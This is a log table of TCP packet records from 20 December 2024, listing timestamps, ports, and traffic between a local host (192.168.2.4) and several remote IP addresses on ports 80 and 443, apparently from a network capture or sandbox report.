Dec 20, 2024 04:12:40.061770916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.061809063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.062699080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.062827110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.062838078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.063009024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.063750982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.063802004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.063816071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.063915014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.064783096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.064850092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.064882040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.064922094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.065795898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.065915108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.066500902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.066823959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.066927910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.066971064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.067903996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.067960024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.067984104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.068284035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.068860054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.068983078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.069020987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.069941044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.069952011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.069987059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.070930004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.070991993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.071027994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.071085930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.071938992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.072036982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.072546005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.073005915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.073045969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.073117018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.073194027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.074033976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.074115038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.074136019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.074182987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.075000048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.075043917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.213294029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.213344097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.213378906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.213731050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.213774920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.213839054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.214770079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.214813948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.214871883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.215807915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.215842009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.215899944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.215985060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.216820002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.216947079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.217046022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.217847109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.217891932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.217952013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.217987061 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.218970060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.219008923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.219110012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.219146013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.219907045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.219949961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.219995022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.221183062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.232925892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.233025074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.233347893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.233411074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.233568907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.234350920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.234391928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.234426022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.234668970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.235378981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.235476017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.235519886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.236417055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.236459970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.236515045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.236551046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.237432957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.237473011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.237551928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.237590075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.241710901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.241720915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.241734028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.241744041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.241751909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.241754055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.241764069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.241771936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.241802931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.242484093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.242523909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.242675066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.243046999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.243601084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.243611097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.243632078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.243649960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.244693041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.244702101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.244735003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.245621920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.245631933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.245677948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.246539116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.246725082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.246761084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.247643948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.247822046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.247858047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.248806000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.248816013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.248857021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.249705076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.249743938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.249883890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.250627041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.250828981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.250838995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.250873089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.251714945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.251751900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.251784086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.251866102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.251981020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.252031088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.252911091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.252959967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.253015995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.253057957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.253941059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.253993988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.254019022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:40.254112005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:40.592230082 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:40.592261076 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:40.594898939 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:40.595274925 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:40.595287085 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.814203024 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.814275026 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.815498114 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.815506935 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.815825939 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.855782032 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.857983112 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.858783960 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.858871937 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.858974934 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.859035015 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.859164953 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.859397888 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.859522104 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.859544992 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.861383915 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.861408949 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.861560106 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.861593008 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.861604929 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.861612082 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.861742973 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.861767054 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.861793041 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.861917019 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.861944914 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.903326988 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.903520107 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.903567076 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.903598070 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.951338053 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:41.951399088 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:41.999326944 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:42.656887054 CET	49831	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:42.657130957 CET	49872	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:42.776782990 CET	80	49872	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:42.776796103 CET	80	49831	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:42.776880026 CET	49872	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:42.776885986 CET	49831	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:42.788058043 CET	49872	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:42.907571077 CET	80	49872	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:43.268485069 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:43.268507957 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:43.268824100 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:43.281682968 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:43.281698942 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:44.111390114 CET	80	49872	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:44.111462116 CET	49872	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:44.122400999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:44.122850895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:44.148478985 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:44.148729086 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:44.148783922 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:44.149043083 CET	49866	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:44.149055004 CET	443	49866	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:44.242331982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:44.242347002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:44.242393970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:44.242444038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:44.242618084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:44.258198977 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:44.258297920 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:44.258390903 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:44.258702993 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:44.258734941 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:44.362020016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.063487053 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:45.063908100 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:45.063929081 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:45.064826012 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:45.064886093 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:45.066032887 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:45.066095114 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:45.073584080 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:45.073599100 CET	443	49873	98.85.100.80	192.168.2.4
Dec 20, 2024 04:12:45.123081923 CET	49873	443	192.168.2.4	98.85.100.80
Dec 20, 2024 04:12:45.480869055 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:45.480988979 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:45.482357979 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:45.482381105 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:45.483239889 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:45.486141920 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:45.486183882 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:45.486243010 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:45.569150925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569175959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569185972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569227934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569228888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.569238901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569263935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.569288969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.569325924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569365978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.569427967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569439888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569448948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569461107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.569475889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.569499969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.689016104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.689080954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.689233065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.689280987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.693063021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.693140030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.761239052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.761349916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.761383057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.761400938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.765424013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.765480042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.765480995 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.765544891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.771852970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.771898985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.771962881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.772006989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.780226946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.780430079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.780488014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.788702965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.788803101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.788861990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.797013044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.797113895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.797120094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.797179937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.805315018 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.805489063 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.805552006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.805603027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.813679934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.813731909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.813760042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.813803911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.822056055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.822114944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.822120905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.822155952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.830543041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.830605030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.830610037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.830645084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.838121891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.838177919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.838218927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.838269949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.880945921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.881091118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.881171942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.884695053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.888845921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.953090906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.953161955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.953257084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.953310966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.955421925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.955472946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.955534935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.955583096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.959016085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.959067106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.959132910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.959183931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.963673115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.963728905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.963769913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.963821888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.968368053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.968420029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.968502045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.968549967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.972978115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.973031044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.973088980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.973135948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.977590084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.977639914 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.977739096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.977791071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.982322931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.982374907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.982502937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.982840061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:45.986838102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:45.986887932 CET	49875	80	192.168.2.4	31.41.244.11
